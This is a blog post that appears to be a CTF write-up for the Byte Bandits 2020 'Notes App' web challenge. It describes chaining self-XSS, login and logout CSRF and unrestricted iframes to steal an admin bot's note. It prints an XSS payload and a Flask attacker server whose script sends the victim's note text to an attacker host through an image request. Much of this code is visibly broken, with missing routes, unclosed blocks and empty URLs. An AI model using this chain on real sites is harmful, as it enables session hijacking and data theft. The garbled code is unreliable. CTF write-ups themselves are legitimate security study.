Chaining No impact(N/A) Bugs to get High impact

I have gone through a `Byte Bandits 2020 CTF` conducted by Byte Bandits team.
There is a web challenge `Notes App`
Which is pretty cool, just a chaining of small bugs (which are encountered at Bug Hunting and treated as N/A or Out of scope).
Which made me to elaborate it, Write it as an Article.

Notes App

A service running at `` and given source code.
Functionality is simple that, every user have only one note(sanitised by markdown2) and Admin have it too(That is the FLAG).
Given an Admin bot which loads the admin account and then visits our URL (no domain restrictions).

Observation - 1

As there is a Admin bot, visiting links. There might be a chance for SSRF etc.
So first tried for XSS. After so many trails, searches my teammate found
Through that we got XSS, but no use. It's a SELF XSS :(

Observation - 2

what we can do with SELF XSS (individually) , Again looked at the site and listed the issues
1) Logout CSRF (/logout)
2) Login CSRF (/login?username=xxxx&password=xxxxxx)
4) No IFRAME Restrictions
All are low level bugs which made me to not get recognised at starting.


After some trails by combining them, finally crafted an attack!


1) Create an Attacker account, inject the XSS payload.
<http://g<!s://q?<!-<[<script>dd = document.createElement("script");dd.src = "";document.head.appendChild(dd);/\\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>aler(1);/*](http://g)->a>
2) Create an attacker server based on that methodology
#!/usr/bin/env python3

from flask import *
from time import sleep

app = Flask(__name__)

def home():
    return "OK"

def main():
    return '''
    <meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
    <div id=iframe1></div>
    <div id=iframe2></div>
function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
async function main(){
    ifr = document.createElement('iframe');
    ifr.src = "";'admin';
    await sleep(500);
    ifr2 = document.createElement('iframe');'attack';
    ifr2.src = "/change-account";
<img src="/sleep.png">

def change():
    return '''
function sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
async function main(){
    await sleep(500);
    ifr = document.createElement('img');
    ifr.src = "";
    await sleep(500);
    window.location = "";
'''%(attacker_username, attacker_password)

def sledp():
    return ""

def js():
 script = '''
idr = document.createElement('img');
idr.src = "https:///?a="[0].document.getElementsByTagName('p')[1].innerText;
    resp = Response(script)
    resp.headers['Content-Type'] = 'text/javascript'
    return resp

attacker_username = "attacker" # redacted
attacker_password = "p4ssw0rd" # redacted
attacker_server = "" # redacted

if __name__=='__main__':
Note : To make the bot to give some for this process, Added `<img src="/sleep.png">` Which takes at least 10 sec to load from server.
3) Submitting the final URL ( to bot

Flag :



Popular posts from this blog

Tokyo Westerns CTF 2020 - writeups.

Alles CTF 2020 Writeups

BugPoc's XSS challenge, Buggy Calculator writeup